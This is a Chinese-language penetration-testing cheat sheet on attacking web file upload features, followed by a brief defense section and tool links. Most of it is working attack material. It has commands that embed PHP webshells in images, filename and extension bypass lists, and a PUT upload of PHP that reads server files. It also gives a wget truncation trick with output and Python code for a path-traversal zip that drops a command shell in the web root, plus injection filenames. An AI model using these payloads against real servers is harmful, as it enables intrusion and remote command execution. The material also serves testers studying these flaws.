介绍
文件上传功能是在 WEB 应用程序交互中不可或缺的一部分,他允许我们上传文件到达服务器进行存储并显示,但是如果对文件上传的内容(类型、大小、名称)没有做好过滤以及限制的时候文件上传漏洞就会出现,攻击者通常会上传一些特殊的文件来实现一些攻击,常见的有覆盖服务器上现有文件、向服务器上传和执行SHELL、上传大文件、注入恶意网页实现 XSS/CSRF
思路
- 覆盖服务器现有文件
- 服务器上传和执行 SHELL
- 上传至其他目录
目标列表
可以利用文件上传实现的目标:
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: 存储的XSS / SSRF / XXE
- GIF: 存储的XSS / SSRF
- CSV:CSV注入
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML注入 / XSS / 打开重定向
- PNG / JPEG: 像素泛滥攻击(DoS)。
- ZIP:通过LFI的RCE/DoS
- pdf / pptx:SSRF / 盲目XXE
攻击
有时候可能存在 JS 客户端过滤直接把这一段代码删去即可
Content-Type 幻数
- 服务器通过 Content-Type 来对上传的文件类型验证, 一个 Content-Typo 词表: SecLists/content-type.txt at master · danielmiessler/SecLists
- 根据幻数检测,我们可以使用 hexiditor 或者十六进制编辑器 对文件幻数进行修改
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\ or you could also introduce the payload directly in an image:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
文件扩展名
- 大小写扩展名
- 双写扩展名
exploit.p.phphp
exploit.phphpp
file.png.jpg.php
file.php%00.png%00.j
- 特殊后缀名
- 提供多个扩展, 根据用于解析文件名的算法,以下文件可能被解释为 PHP 文件或 JPG 图像:
exploit.php.jpg
- 添加尾随字符, 一些组件会去除或忽略尾随的空格、点等:
exploit.php.
- 尝试对点、正斜杠和反斜杠使用 URL 编码(或双重 URL 编码)。如果在验证文件扩展名时该值未被解码,但稍后在服务器端被解码,这也可以让您上传本来会被阻止的恶意文件:
exploit%2Ephp
- 添加垃圾数据来欺骗服务器
file.png.php
file.png.pHp5
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
- 尝试使用多字节 unicode 字符,这些字符在 unicode 转换或规范化后可能会转换为空字节和点。 如果文件名被解析为 UTF-8 字符串,则 xC0 x2E、xC4 xAE 或 xC0 xAE 等序列可能会被转换为 x2E,但在用于路径之前会被转换为 ASCII 字符。
- 在Windows中使用NTFS备用数据流(ADS)。在这种情况下,一个冒号字符”: “将被插入到禁止的扩展名之后和允许的扩展名之前。结果,在服务器上将创建一个具有被禁止的扩展名的空文件(例如 “file.asax:.jpg”)。这个文件以后可能会使用其他技术进行编辑,例如使用其短文件名。”::$data “模式也可以用来创建非空的文件。因此,在这个模式后添加一个点字符也可能有助于绕过进一步的限制(例如,”file.asp::$data.”)。
- 利用文件名长度限制, 有效扩展名被切断, 恶意 PHP 被留下
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
竞争条件
文件上传位置和最终存放位置不在同一个目录
- 服务器接受到文件后,不再进行验证直接转移目录,我们可以使用爆破不断访问这个文件使其不能正常转移
- 服务器接受文件后,先存放后验证如果没有通过则删除
使用 PUT 上传文件
值得注意的是,某些 Web 服务器可能配置为支持PUT
请求。如果没有适当的防御措施,这可以提供一种上传恶意文件的替代方法,即使上传功能无法通过 Web 界面使用。
PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49
<?php echo file_get_contents('/path/to/file'); ?>
多文件上传
服务器只对上传的第一个文件做了检验,然后忽略了对其他文件的检查
中间件解析漏洞
其他技巧
- 找到一个重命名漏洞,来修改已经上传的文件
- 寻找 LFI 漏洞来执行后门
- 可能的信息泄露:
- 多次上传具有相同名称的相同文件
- 使用已经存在的文件或文件夹上传文件
- 上传一个以”.”、”. “或”… “为名称的文件。例如,在Windows的Apache中,如果应用程序将上传的文件保存在”/www/uploads/“目录中,”. “文件名将在”/www/“目录中创建一个名为 “uploads “的文件。
- 上传一个可能不容易被删除的文件,如NTFS中的”…:.jpg”。 (Windows)
- 在Windows中上传一个名称中含有无效字符的文件,如|<>*?”。(Windows)
- 在Windows中使用保留(禁止)的名称上传文件,如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9
- 上传一些其他文件比如 exe 或者 .html 等等,当目标端有人打开时就会执行
特殊技巧
如果尝试将文件上传到 PHP 服务器,可以尝试上传 .htaccess
文件
如果尝试将文件上床到 ASP 服务器,可以尝试 .config
文件
wget 文件上传/SSRF 技巧
在某些情况下,你可能会发现一个服务器正在使用wget下载文件,你可以指明URL。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单内,以确保只有允许的文件才会被下载。然而,这种检查可以被绕过。
在linux中,文件名的最大长度是255,但是,wget将文件名截断为236个字符。你可以下载一个名为 “A “232+”.php “+”.gif “的文件,这个文件名将绕过检查(因为在这个例子中”.gif “是一个有效的扩展名),但wget会将文件重命名为 “A “232+”.php”。
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
请注意,你可能想到的另一个绕过这个检查的办法是让HTTP服务器重定向到一个不同的文件,这样最初的URL就会绕过检查,然后wget会用新的名字下载重定向的文件。除非wget在使用参数—trust-server-names的情况下,否则这不会起作用,因为wget会用原始URL中的文件名来下载重定向的页面。
压缩文件自动解压上传
符号链接
上传包含指向其他文件的软链接的链接,然后,访问解压后的文件,您将访问链接的文件:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
解压到不同的文件
解压后的文件将被创建在意想不到的文件夹中。
人们可以很容易地认为,这种设置可以防止通过恶意文件上传的操作系统级命令执行,但不幸的是,这不是真的。由于ZIP档案格式支持分层压缩,我们也可以引用更高层次的目录,我们可以通过滥用目标应用程序的解压功能来逃避安全的上传目录。
在这里可以找到一个创建这类文件的自动漏洞:https://github.com/ptoomey3/evilarc
python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
你也可以在evilarc中使用符号链接的技巧,如果标志在/flag.txt中,确保你为该文件建立一个符号链接,并在你的系统中创建该文件,这样当你调用evilarc时,就不会出错。
一些python代码来创建一个恶意的压缩文件:
#!/usr/bin/python
import zipfile
from cStringIO import StringIO
def create_zip():
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
为了实现远程名称命令执行,我们需要采取以下步骤:
- 创建一个 PHP SHELL
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- 使用 “file spraying “并创建一个压缩的压缩文件:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
- 使用hexeditor或vi,将 “xxA “改为”…/“,我用的是vi:
:set modifiable
:%s/xxA/..\//g
:x!
完成了!
只剩下一个步骤了: 上传ZIP文件,并让应用程序解压! 如果它成功了,而且网络服务器有足够的权限写入目录,那么系统上就会有一个简单的操作系统命令执行外壳:
Polyglot Files
在安全方面,”多面手 “是指具有多种不同文件类型的有效形式的文件。例如,GIFAR既是一个GIF,也是一个RAR文件。还有一些文件既可以是GIF也可以是JS,既是PPT也是JS,等等。
多语言文件经常被用来绕过基于文件类型的保护。许多允许用户上传文件的应用程序只允许上传某些类型的文件,如JPEG、GIF、DOC,以防止用户上传潜在的危险文件,如JS文件、PHP文件或Phar文件。
这有助于上传一个符合几种不同格式的文件。它可以让你上传一个PHAR文件(PHp ARchive),看起来也像JPEG,但可能你仍然需要一个有效的扩展名,如果上传功能不允许,这将不会帮助你。
文件上传到其他漏洞
- 路径遍历: 设置文件名称为
../../../../tmp/lol.png
- SQL 注入 : 将文件名设置为
sleep(10)-- -.jpg
- XSS :
- 设置文件名为
<svg onload=alert(document.domain)>
- 上传 svg 文件失效 XSS
- 在 PDF 中注入数据以获取 XSS 执行
- 设置文件名为
- 命令注入 : 设置文件名为
; sleep 10;
- XXE : svg 文件上传
- 重定向 : 上传 svg 文件实现重定向
- 我们也可以尝试其他一些 SVG payload : GitHub - allanlw/svg-cheatsheet: A cheatsheet for exploiting server-side SVG processors.
- ImageTragick Exploitation – CVE-2016-3714 | Mukarram Khalid
- 如果可以指示 web 服务器从指定 URL 位置处捕获图像,我们可以尝试 SSRF 漏洞
- XXE 和 CORS : 通过上传 PDF
- 上传 [eicar]https://secure.eicar.org/eicar.com.txt 内容查看服务器是否有杀毒软件
- 检查文件上传是否有大小限制
防御
1. 扩展名验证
理论上来说文件扩展名用于标识文件的内容,但是因为很容易改变所以意义不大, Windows 按照文件扩展名来标识文件内容,UINX 依赖于文件头
2. 文件类型验证
- MIME 验证: 当上传文件时,MIME 类型会附加在请求的标头中
- 幻数验证:幻数是确定文件内容更为准确的方法,所谓幻数其实是文件内容最开头的一串字节,用于标识内容
3. 文件大小过滤
大部分服务器都会设置上传的文件大小,这时候我们需要使用合理范围之内的文件大小上传
4. 文件名过滤
- 上传到服务器的文件必须是唯一的
- 对文件名进行清理以保证文件不会存在一些特殊字符比如: 空字节、\
5. 文件内容过滤
扫描上传文件全部内容,以确保没有欺骗扩展名、MIME 类型和幻数.
工具&资料
- GitHub - modzero/mod0BurpUploadScanner: HTTP file upload scanner for Burp Proxy: Burp 文件上传扩展
- GitHub - almandin/fuxploider: File upload vulnerability scanner and exploitation tool. : 文件上传漏洞扫描器和利用工具。
- webSHELL
- PHPBash: PHP WebSHELL
- SecLists/Web-Shells : SecLists 的 WebShell
- GitHub - pentestmonkey/php-reverse-shell : PHP 反向 SHELL
- GitHub - JTZ-a/webshell: 这是一个 WebShell 项目